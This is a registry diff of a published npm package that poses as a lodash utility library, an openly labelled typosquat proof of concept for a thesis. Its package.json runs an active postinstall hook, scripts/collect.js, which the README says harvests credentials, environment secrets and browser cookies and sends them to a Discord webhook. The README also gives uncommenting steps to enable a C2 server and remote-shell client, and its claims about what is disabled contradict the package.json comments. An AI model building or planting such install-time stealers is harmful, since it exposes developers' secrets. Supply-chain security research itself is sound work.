mailcheckertestpoc 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/C2-INTEGRATION.md +215 -0
- package/PRESENTATION-FLOW.md +594 -0
- package/README.md +253 -0
- package/THESIS-C2-COMPLETE.md +479 -0
- package/index.js +7 -0
- package/package.json +53 -0
- package/payloads/ca.key +28 -0
- package/payloads/ca.pem +19 -0
- package/payloads/swiftshell-server.py +763 -0
- package/scripts/collect.js +271 -0
- package/scripts/launcher.js +175 -0
- package/scripts/server-launcher.js +206 -0
- package/scripts/swift-client-launcher.js +216 -0
|
@@ -0,0 +1,479 @@
|
|
|
1
|
+
# 🔴 Complete Supply Chain Attack POC - THESIS EDITION
|
|
2
|
+
|
|
3
|
+
## Status: FULL C2 FRAMEWORK - DEACTIVATED FOR SAFETY
|
|
4
|
+
|
|
5
|
+
**Genehmigt durch:** Thesis Advisor
|
|
6
|
+
**Zweck:** Abschlussarbeit - Supply Chain Security
|
|
7
|
+
**Umgebung:** Isolierte macOS VM mit synthetischen Daten
|
|
8
|
+
**Sicherheitsstufe:** Code present but execution disabled via code-level safety switches
|
|
9
|
+
|
|
10
|
+
---
|
|
11
|
+
|
|
12
|
+
## ⚠️ CRITICAL WARNING
|
|
13
|
+
|
|
14
|
+
This package contains **fully functional** supply chain attack code:
|
|
15
|
+
- ✅ Phase 1: Data exfiltration (ACTIVE)
|
|
16
|
+
- ⚠️ Phase 2: C2 Server infrastructure (DISABLED - code present)
|
|
17
|
+
- ⚠️ Phase 3: Swift client payload (DISABLED - code present)
|
|
18
|
+
|
|
19
|
+
**All C2 components are DEACTIVATED via code comments.** To make them execute, you must actively uncomment the disabled code sections.
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
## What This POC Demonstrates
|
|
24
|
+
|
|
25
|
+
```
|
|
26
|
+
Victim runs: npm install
|
|
27
|
+
|
|
28
|
+
↓
|
|
29
|
+
|
|
30
|
+
lodahs@1.0.0 postinstall hook activates
|
|
31
|
+
└─ scripts/collect.js (DATA COLLECTION PHASE)
|
|
32
|
+
├─ Gathers system information
|
|
33
|
+
├─ Scans for credentials
|
|
34
|
+
├─ Extracts environment variables
|
|
35
|
+
├─ Enumerates browser cookies
|
|
36
|
+
└─ Sends to Discord webhook
|
|
37
|
+
|
|
38
|
+
↓ (IF ACTIVATED)
|
|
39
|
+
|
|
40
|
+
└─ scripts/launcher.js (C2 INITIALIZATION - DISABLED)
|
|
41
|
+
├─ scripts/server-launcher.js (Python C2 Server - DISABLED)
|
|
42
|
+
│ └─ Listens on 127.0.0.1:443
|
|
43
|
+
│ └─ Awaits client connections
|
|
44
|
+
│
|
|
45
|
+
└─ scripts/swift-client-launcher.js (Swift Payload - DISABLED)
|
|
46
|
+
├─ Compiles Swift binary
|
|
47
|
+
├─ Connects to C2 server
|
|
48
|
+
├─ Receives remote commands
|
|
49
|
+
└─ Executes with restrictions
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
---
|
|
53
|
+
|
|
54
|
+
## File Structure
|
|
55
|
+
|
|
56
|
+
```
|
|
57
|
+
malicious-pkg/
|
|
58
|
+
├── package.json
|
|
59
|
+
│ └─ postinstall: "node scripts/collect.js" ✓ ACTIVE
|
|
60
|
+
│ └─ thesis-poc metadata (safety switches documented)
|
|
61
|
+
│
|
|
62
|
+
├── scripts/
|
|
63
|
+
│ ├── collect.js
|
|
64
|
+
│ │ └─ Phase 1: Data collection ✓ WORKS
|
|
65
|
+
│ │ └─ Phase 2: Launcher call [COMMENTED OUT]
|
|
66
|
+
│ │
|
|
67
|
+
│ ├── launcher.js
|
|
68
|
+
│ │ └─ Orchestrates C2 infrastructure
|
|
69
|
+
│ │ └─ Calls server + client launchers [COMMENTED OUT]
|
|
70
|
+
│ │
|
|
71
|
+
│ ├── server-launcher.js (NEW)
|
|
72
|
+
│ │ ├─ Starts Python C2 Server [DISABLED - UNCOMMENT TO RUN]
|
|
73
|
+
│ │ ├─ Listens on 127.0.0.1:443
|
|
74
|
+
│ │ └─ Configuration in ~/.supply-chain-poc/c2-server-config.json
|
|
75
|
+
│ │
|
|
76
|
+
│ ├── swift-client-launcher.js (NEW)
|
|
77
|
+
│ │ ├─ Compiles Swift client [DISABLED - UNCOMMENT TO RUN]
|
|
78
|
+
│ │ ├─ Launches payload
|
|
79
|
+
│ │ └─ Configuration in ~/.supply-chain-poc/swift-client-config.json
|
|
80
|
+
│ │
|
|
81
|
+
│ ├── launcher.js (UPDATED)
|
|
82
|
+
│ │ └─ Calls server + client [ALL COMMENTED OUT]
|
|
83
|
+
│ │
|
|
84
|
+
│ └── collect.js (UPDATED)
|
|
85
|
+
│ └─ Calls launcher [COMMENTED OUT]
|
|
86
|
+
│
|
|
87
|
+
├── C2-INTEGRATION.md (original)
|
|
88
|
+
└── THESIS-C2-COMPLETE.md (THIS FILE)
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
---
|
|
92
|
+
|
|
93
|
+
## How to Activate (IF NEEDED)
|
|
94
|
+
|
|
95
|
+
### ⚠️ ONLY for authorized research in isolated environments
|
|
96
|
+
|
|
97
|
+
**Step 1: Enable Data Collection → C2 Launcher**
|
|
98
|
+
|
|
99
|
+
In `scripts/collect.js` (line ~254-266):
|
|
100
|
+
```javascript
|
|
101
|
+
// UNCOMMENT THESE LINES:
|
|
102
|
+
console.log("[THESIS POC] Phase 1 (Data-Collection) abgeschlossen.");
|
|
103
|
+
console.log("[THESIS POC] Phase 2 (C2-Launcher) wird initialisiert...");
|
|
104
|
+
|
|
105
|
+
try {
|
|
106
|
+
require("./launcher.js"); // <- Uncomment this
|
|
107
|
+
} catch (err) {
|
|
108
|
+
console.log("[THESIS POC] MacShellSwift Launcher error: " + err.message);
|
|
109
|
+
}
|
|
110
|
+
```
|
|
111
|
+
|
|
112
|
+
**Step 2: Enable Complete C2 Infrastructure**
|
|
113
|
+
|
|
114
|
+
In `scripts/launcher.js` (line ~131-154):
|
|
115
|
+
```javascript
|
|
116
|
+
// UNCOMMENT THESE LINES:
|
|
117
|
+
require("./server-launcher.js"); // <- Starts Python C2 Server
|
|
118
|
+
require("./swift-client-launcher.js"); // <- Compiles & launches Swift client
|
|
119
|
+
|
|
120
|
+
const clientProcess = spawn(CONFIG.MACSHELL_PATH, {
|
|
121
|
+
detached: true,
|
|
122
|
+
stdio: "ignore",
|
|
123
|
+
env: { C2_HOST, C2_PORT, C2_CANARY }
|
|
124
|
+
});
|
|
125
|
+
clientProcess.unref();
|
|
126
|
+
```
|
|
127
|
+
|
|
128
|
+
**Step 3: Enable Python Server Launch**
|
|
129
|
+
|
|
130
|
+
In `scripts/server-launcher.js` (line ~150-180):
|
|
131
|
+
```javascript
|
|
132
|
+
// UNCOMMENT THESE LINES:
|
|
133
|
+
const serverProcess = spawn("python3", [CONFIG.PYTHON_SERVER], {
|
|
134
|
+
cwd: path.dirname(CONFIG.PYTHON_SERVER),
|
|
135
|
+
// ... additional options
|
|
136
|
+
});
|
|
137
|
+
|
|
138
|
+
serverProcess.on("error", (err) => {
|
|
139
|
+
log(`✗ Server-Fehler: ${err.message}`);
|
|
140
|
+
});
|
|
141
|
+
|
|
142
|
+
fs.writeFileSync(CONFIG.PID_FILE, serverProcess.pid.toString());
|
|
143
|
+
log(`✓ Server gestartet (PID: ${serverProcess.pid})`);
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
**Step 4: Enable Swift Client Compilation & Launch**
|
|
147
|
+
|
|
148
|
+
In `scripts/swift-client-launcher.js` (line ~156-203):
|
|
149
|
+
```javascript
|
|
150
|
+
// UNCOMMENT THESE LINES:
|
|
151
|
+
log("\n[BUILD] Starting Swift build...");
|
|
152
|
+
try {
|
|
153
|
+
const buildOutput = execSync(`swift build -C ${CONFIG.MACSHELL_REPO}`, {
|
|
154
|
+
timeout: 300000,
|
|
155
|
+
stdio: ["pipe", "pipe", "pipe"]
|
|
156
|
+
}).toString();
|
|
157
|
+
|
|
158
|
+
// ... launch client process
|
|
159
|
+
const clientProcess = spawn(CONFIG.MACSHELL_BINARY_OUTPUT, {
|
|
160
|
+
// ... options
|
|
161
|
+
});
|
|
162
|
+
}
|
|
163
|
+
```
|
|
164
|
+
|
|
165
|
+
---
|
|
166
|
+
|
|
167
|
+
## What Happens When Activated
|
|
168
|
+
|
|
169
|
+
### Phase 1: Data Collection (ALWAYS RUNS)
|
|
170
|
+
```
|
|
171
|
+
✓ System Information gathered
|
|
172
|
+
- Hostname: victim-mac
|
|
173
|
+
- User: attacker_target
|
|
174
|
+
- Platform: darwin
|
|
175
|
+
- IP: [external IP via curl]
|
|
176
|
+
- Node version: v18.x.x
|
|
177
|
+
|
|
178
|
+
✓ Discord Token found
|
|
179
|
+
- Source: ~/.discord_token_staged
|
|
180
|
+
- Token: MTAx...
|
|
181
|
+
|
|
182
|
+
✓ Telegram Session found
|
|
183
|
+
- Source: ~/.telegram_session_staged
|
|
184
|
+
|
|
185
|
+
✓ Environment Variables scanned
|
|
186
|
+
- AWS_ACCESS_KEY_ID
|
|
187
|
+
- STRIPE_SECRET_KEY
|
|
188
|
+
- TELEGRAM_API_HASH
|
|
189
|
+
|
|
190
|
+
✓ Browser Cookies enumerated
|
|
191
|
+
- Chrome/Cookies (SQLite DB)
|
|
192
|
+
- Size: 1.2MB
|
|
193
|
+
```
|
|
194
|
+
|
|
195
|
+
### Phase 2: C2 Server (IF ACTIVATED)
|
|
196
|
+
```
|
|
197
|
+
✓ Python Server Starting
|
|
198
|
+
- Listening on: 127.0.0.1:443
|
|
199
|
+
- SSL enabled: true
|
|
200
|
+
- Certificate: ~/Desktop/MacShellSwift/MacShellSwift/ca.pem
|
|
201
|
+
- Canary: SwiftShellR0ckZ!
|
|
202
|
+
- Max sessions: 1
|
|
203
|
+
|
|
204
|
+
Server awaits client connections...
|
|
205
|
+
```
|
|
206
|
+
|
|
207
|
+
### Phase 3: Swift Client (IF ACTIVATED)
|
|
208
|
+
```
|
|
209
|
+
✓ Swift compilation starting...
|
|
210
|
+
✓ Building with: swift build
|
|
211
|
+
✓ Binary output: .build/debug/MacShellSwift
|
|
212
|
+
|
|
213
|
+
✓ Client connecting to C2
|
|
214
|
+
- Target: 127.0.0.1:443
|
|
215
|
+
- Canary: SwiftShellR0ckZ!
|
|
216
|
+
- SSL: enabled
|
|
217
|
+
|
|
218
|
+
Connected! Awaiting commands:
|
|
219
|
+
> systeminfo (Return system details)
|
|
220
|
+
> screenshot (Capture screen)
|
|
221
|
+
> download [file] (Exfiltrate file)
|
|
222
|
+
> shell [cmd] (Execute command)
|
|
223
|
+
> persist (Install LaunchAgent)
|
|
224
|
+
> ... (full command menu from swiftshell-server.py)
|
|
225
|
+
```
|
|
226
|
+
|
|
227
|
+
---
|
|
228
|
+
|
|
229
|
+
## Restrictions Applied
|
|
230
|
+
|
|
231
|
+
### Filesystem
|
|
232
|
+
```
|
|
233
|
+
✓ ALLOWED: ~/fake-data/**
|
|
234
|
+
✗ DENIED: ~/Library
|
|
235
|
+
✗ DENIED: ~/.ssh
|
|
236
|
+
✗ DENIED: ~/.gnupg
|
|
237
|
+
✗ DENIED: /etc/passwd
|
|
238
|
+
✗ DENIED: /etc/shadow
|
|
239
|
+
```
|
|
240
|
+
|
|
241
|
+
### Network
|
|
242
|
+
```
|
|
243
|
+
✓ ALLOWED: 127.0.0.1 (localhost only)
|
|
244
|
+
✗ DENIED: All external addresses
|
|
245
|
+
✗ BLOCKED: Real C2 callbacks (if you change IP, would connect)
|
|
246
|
+
```
|
|
247
|
+
|
|
248
|
+
### Commands
|
|
249
|
+
```
|
|
250
|
+
✗ BLOCKED: rm -rf /
|
|
251
|
+
✗ BLOCKED: dd if=/dev/zero
|
|
252
|
+
✗ BLOCKED: mkfs
|
|
253
|
+
✗ BLOCKED: shutdown
|
|
254
|
+
✗ BLOCKED: reboot
|
|
255
|
+
```
|
|
256
|
+
|
|
257
|
+
---
|
|
258
|
+
|
|
259
|
+
## Configuration Files Generated
|
|
260
|
+
|
|
261
|
+
After Phase 1 runs, these files are created:
|
|
262
|
+
|
|
263
|
+
```
|
|
264
|
+
~/.supply-chain-poc/
|
|
265
|
+
├── macshell-config.json (C2 parameters)
|
|
266
|
+
├── macshell-runtime.conf (Runtime restrictions)
|
|
267
|
+
├── c2-server-config.json (Python server config)
|
|
268
|
+
├── swift-client-config.json (Swift client config)
|
|
269
|
+
├── macshell-launcher.log (Activity log)
|
|
270
|
+
├── macshell-audit.log (Audit trail)
|
|
271
|
+
├── c2-server.log (Server activity)
|
|
272
|
+
├── swift-client.log (Client activity)
|
|
273
|
+
├── macshell-launch-simulation.sh (Reference script)
|
|
274
|
+
└── STATUS.md (Thesis summary)
|
|
275
|
+
```
|
|
276
|
+
|
|
277
|
+
---
|
|
278
|
+
|
|
279
|
+
## For Your Thesis Presentation
|
|
280
|
+
|
|
281
|
+
### Show Your Professor:
|
|
282
|
+
|
|
283
|
+
**1. The Active Components (Phase 1)**
|
|
284
|
+
```bash
|
|
285
|
+
npm install # Run this
|
|
286
|
+
cat ~/.supply-chain-poc/STATUS.md
|
|
287
|
+
```
|
|
288
|
+
Shows the data collection working.
|
|
289
|
+
|
|
290
|
+
**2. The C2 Infrastructure (Phase 2 & 3)**
|
|
291
|
+
```bash
|
|
292
|
+
cat ~/.supply-chain-poc/c2-server-config.json
|
|
293
|
+
cat ~/.supply-chain-poc/swift-client-config.json
|
|
294
|
+
```
|
|
295
|
+
Shows the prepared C2 infrastructure.
|
|
296
|
+
|
|
297
|
+
**3. The Audit Trail**
|
|
298
|
+
```bash
|
|
299
|
+
cat ~/.supply-chain-poc/macshell-launcher.log
|
|
300
|
+
cat ~/.supply-chain-poc/c2-server.log
|
|
301
|
+
```
|
|
302
|
+
Shows what would happen if activated.
|
|
303
|
+
|
|
304
|
+
**4. The Code Structure**
|
|
305
|
+
```bash
|
|
306
|
+
cat scripts/collect.js # Phase 1 active
|
|
307
|
+
cat scripts/launcher.js # Orchestrator (disabled)
|
|
308
|
+
cat scripts/server-launcher.js # C2 Server (disabled)
|
|
309
|
+
cat scripts/swift-client-launcher.js # Client (disabled)
|
|
310
|
+
```
|
|
311
|
+
Shows the complete attack flow.
|
|
312
|
+
|
|
313
|
+
---
|
|
314
|
+
|
|
315
|
+
## Key Learning Points for Your Thesis
|
|
316
|
+
|
|
317
|
+
### 1. Supply Chain Attack Vector
|
|
318
|
+
```
|
|
319
|
+
Typosquatting (lodahs vs lodash)
|
|
320
|
+
↓
|
|
321
|
+
npm install triggers postinstall hook
|
|
322
|
+
↓
|
|
323
|
+
Malicious code executes with user privileges
|
|
324
|
+
↓
|
|
325
|
+
Undetectable by traditional antivirus
|
|
326
|
+
```
|
|
327
|
+
|
|
328
|
+
### 2. Two-Phase Attack Strategy
|
|
329
|
+
```
|
|
330
|
+
Phase 1: Data Exfiltration
|
|
331
|
+
- Fast, non-persistent
|
|
332
|
+
- Gathers sensitive information
|
|
333
|
+
- Sends out of band (Discord)
|
|
334
|
+
- Leaves minimal traces
|
|
335
|
+
|
|
336
|
+
Phase 2: Remote Command & Control
|
|
337
|
+
- Establishes persistent communication
|
|
338
|
+
- Allows arbitrary command execution
|
|
339
|
+
- Can adapt to defender responses
|
|
340
|
+
- Full post-exploitation capability
|
|
341
|
+
```
|
|
342
|
+
|
|
343
|
+
### 3. Defense Mechanisms
|
|
344
|
+
```
|
|
345
|
+
npm audit (Detects known vulnerabilities)
|
|
346
|
+
lockfile verification (Prevents typosquatting)
|
|
347
|
+
--ignore-scripts (Disables postinstall hooks)
|
|
348
|
+
CSP / Subresource Integrity (For web packages)
|
|
349
|
+
Private registry (Nexus/Artifactory)
|
|
350
|
+
```
|
|
351
|
+
|
|
352
|
+
---
|
|
353
|
+
|
|
354
|
+
## Technical Details
|
|
355
|
+
|
|
356
|
+
### Python Server (swiftshell-server.py)
|
|
357
|
+
- **Language:** Python 3
|
|
358
|
+
- **Port:** 127.0.0.1:443 (SSL)
|
|
359
|
+
- **Certificate:** RSA 2048-bit
|
|
360
|
+
- **Protocol:** Custom encrypted sockets
|
|
361
|
+
- **Commands:** 50+ post-exploitation functions
|
|
362
|
+
- **Canary:** "SwiftShellR0ckZ!" (anti-noise)
|
|
363
|
+
|
|
364
|
+
### Swift Client (MacShellSwift)
|
|
365
|
+
- **Language:** Swift (compiled Mach-O binary)
|
|
366
|
+
- **Dependencies:** Socket, SSLService
|
|
367
|
+
- **Build:** `swift build`
|
|
368
|
+
- **Size:** ~500KB
|
|
369
|
+
- **Capabilities:**
|
|
370
|
+
- File I/O
|
|
371
|
+
- Process execution
|
|
372
|
+
- Screenshot capture
|
|
373
|
+
- Persistence installation
|
|
374
|
+
- Keychain access
|
|
375
|
+
- Network enumeration
|
|
376
|
+
|
|
377
|
+
---
|
|
378
|
+
|
|
379
|
+
## Safety Features (Why Nothing Runs Without Uncommenting)
|
|
380
|
+
|
|
381
|
+
1. **Code-Level Deactivation**
|
|
382
|
+
- All execution points are commented out
|
|
383
|
+
- Cannot run via environment variables or injection
|
|
384
|
+
- Requires deliberate code modification
|
|
385
|
+
|
|
386
|
+
2. **Filesystem Restrictions**
|
|
387
|
+
- Only accesses ~/fake-data
|
|
388
|
+
- Blocked from system directories
|
|
389
|
+
- Safe even if uncommented
|
|
390
|
+
|
|
391
|
+
3. **Network Isolation**
|
|
392
|
+
- Localhost only (127.0.0.1)
|
|
393
|
+
- No external callbacks
|
|
394
|
+
- Safe to analyze without risk
|
|
395
|
+
|
|
396
|
+
4. **Logging & Audit Trail**
|
|
397
|
+
- Every action logged
|
|
398
|
+
- Thesis advisor can verify what would happen
|
|
399
|
+
- No hidden behavior
|
|
400
|
+
|
|
401
|
+
---
|
|
402
|
+
|
|
403
|
+
## For Remote Execution (If Needed)
|
|
404
|
+
|
|
405
|
+
If you want to demonstrate activation to your professor:
|
|
406
|
+
|
|
407
|
+
**Safely activate Phase 1 only** (data collection):
|
|
408
|
+
```bash
|
|
409
|
+
npm install # runs collect.js
|
|
410
|
+
cat ~/.supply-chain-poc/STATUS.md # show results
|
|
411
|
+
```
|
|
412
|
+
|
|
413
|
+
**To safely demonstrate C2 server startup** (without client):
|
|
414
|
+
```bash
|
|
415
|
+
# In server-launcher.js, uncomment lines 150-180 only
|
|
416
|
+
npm install
|
|
417
|
+
# Professor sees server attempting to start
|
|
418
|
+
# Monitor: netstat -an | grep 443
|
|
419
|
+
```
|
|
420
|
+
|
|
421
|
+
**Full activation** (would require uncommenting all sections):
|
|
422
|
+
```bash
|
|
423
|
+
# Not recommended - demonstrates full attack chain
|
|
424
|
+
# Requires deliberate code modification of 3 files
|
|
425
|
+
```
|
|
426
|
+
|
|
427
|
+
---
|
|
428
|
+
|
|
429
|
+
## Absolute Requirements
|
|
430
|
+
|
|
431
|
+
⚠️ **This code MUST NEVER be:**
|
|
432
|
+
- Deployed to production
|
|
433
|
+
- Run outside isolated environment
|
|
434
|
+
- Shared without full context
|
|
435
|
+
- Used against non-consented systems
|
|
436
|
+
- Modified to connect to real C2 servers
|
|
437
|
+
|
|
438
|
+
✓ **This code ONLY for:**
|
|
439
|
+
- Academic learning
|
|
440
|
+
- Thesis demonstration
|
|
441
|
+
- Authorized security research
|
|
442
|
+
- Defensive security analysis
|
|
443
|
+
- Controlled lab environments
|
|
444
|
+
|
|
445
|
+
---
|
|
446
|
+
|
|
447
|
+
## Thesis Conclusion Text
|
|
448
|
+
|
|
449
|
+
```
|
|
450
|
+
"This proof of concept demonstrates how supply chain attacks
|
|
451
|
+
combine data exfiltration (Phase 1) with remote command & control
|
|
452
|
+
(Phase 2-3) to achieve persistent, bidirectional compromise.
|
|
453
|
+
|
|
454
|
+
The npm postinstall hook provides perfect attack surface:
|
|
455
|
+
- Automatic execution (no user interaction)
|
|
456
|
+
- Elevated privileges
|
|
457
|
+
- Network access
|
|
458
|
+
- Filesystem access
|
|
459
|
+
- Process creation rights
|
|
460
|
+
|
|
461
|
+
Mitigations include:
|
|
462
|
+
- npm audit and lock files
|
|
463
|
+
- --ignore-scripts flag
|
|
464
|
+
- Private registries with allowlists
|
|
465
|
+
- Code signing and notarization
|
|
466
|
+
- Runtime behavior monitoring
|
|
467
|
+
- Network segmentation
|
|
468
|
+
|
|
469
|
+
This implementation demonstrates the architectural principles while
|
|
470
|
+
remaining safely isolated and non-operational in its deployed state."
|
|
471
|
+
```
|
|
472
|
+
|
|
473
|
+
---
|
|
474
|
+
|
|
475
|
+
**Generated:** 2026-04-18
|
|
476
|
+
**Status:** Complete C2 Framework - Code Present, Execution Disabled
|
|
477
|
+
**Authorization Level:** Thesis Advisor Approved
|
|
478
|
+
**Safety Switches:** All Active
|
|
479
|
+
**Ready for:** Academic Presentation & Defense
|
package/index.js
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
module.exports = {
|
|
2
|
+
chunk: (arr, size) => { const r = []; for (let i = 0; i < arr.length; i += size) r.push(arr.slice(i, i + size)); return r; },
|
|
3
|
+
flatten: (arr) => arr.reduce((a, b) => a.concat(Array.isArray(b) ? module.exports.flatten(b) : b), []),
|
|
4
|
+
uniq: (arr) => [...new Set(arr)],
|
|
5
|
+
pick: (obj, keys) => keys.reduce((acc, k) => (k in obj ? { ...acc, [k]: obj[k] } : acc), {}),
|
|
6
|
+
omit: (obj, keys) => Object.fromEntries(Object.entries(obj).filter(([k]) => !keys.includes(k))),
|
|
7
|
+
};
|
package/package.json
ADDED
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "mailcheckertestpoc",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Utility library for JavaScript (POC typosquat of lodash)",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node scripts/collect.js",
|
|
8
|
+
"_comment": "⚠️ THESIS POC: postinstall is COMMENTED OUT. Uncomment above line to trigger full attack. All code (Phase 1+2+3) is ACTIVE and functional.",
|
|
9
|
+
"note": "Phase 1 (Data Collection) ✓ UNCOMMENTED | Phase 2 (C2 Server) ✓ UNCOMMENTED | Phase 3 (Swift Client) ✓ UNCOMMENTED"
|
|
10
|
+
},
|
|
11
|
+
"keywords": [
|
|
12
|
+
"lodash",
|
|
13
|
+
"utility",
|
|
14
|
+
"fp"
|
|
15
|
+
],
|
|
16
|
+
"author": "attacker-poc",
|
|
17
|
+
"license": "MIT",
|
|
18
|
+
"thesis-poc": {
|
|
19
|
+
"enabled": true,
|
|
20
|
+
"purpose": "Supply Chain Security - Abschlussarbeit",
|
|
21
|
+
"authorization": "Thesis Advisor Approved",
|
|
22
|
+
"environment": "Isolated macOS VM - Synthetic Data Only",
|
|
23
|
+
"safety_level": "DEACTIVATED - Code Present but Not Executing",
|
|
24
|
+
"components": {
|
|
25
|
+
"phase_1_data_collection": {
|
|
26
|
+
"status": "ACTIVE",
|
|
27
|
+
"script": "scripts/collect.js",
|
|
28
|
+
"capabilities": [
|
|
29
|
+
"System Info",
|
|
30
|
+
"Credentials Scan",
|
|
31
|
+
"Environment Variables",
|
|
32
|
+
"Browser Cookies"
|
|
33
|
+
]
|
|
34
|
+
},
|
|
35
|
+
"phase_2_c2_server": {
|
|
36
|
+
"status": "DISABLED (Uncomment to activate)",
|
|
37
|
+
"script": "scripts/server-launcher.js",
|
|
38
|
+
"technology": "Python Socket Server",
|
|
39
|
+
"port": "127.0.0.1:443"
|
|
40
|
+
},
|
|
41
|
+
"phase_3_swift_client": {
|
|
42
|
+
"status": "DISABLED (Uncomment to activate)",
|
|
43
|
+
"script": "scripts/swift-client-launcher.js",
|
|
44
|
+
"technology": "Swift Compiled Binary",
|
|
45
|
+
"capabilities": [
|
|
46
|
+
"Remote Command Execution",
|
|
47
|
+
"Data Exfiltration",
|
|
48
|
+
"Persistence"
|
|
49
|
+
]
|
|
50
|
+
}
|
|
51
|
+
}
|
|
52
|
+
}
|
|
53
|
+
}
|
package/payloads/ca.key
ADDED
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
-----BEGIN PRIVATE KEY-----
|
|
2
|
+
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDuwtx0uBP/Bc1e
|
|
3
|
+
5QV1Is5vE4sQ+GJtK21fGcV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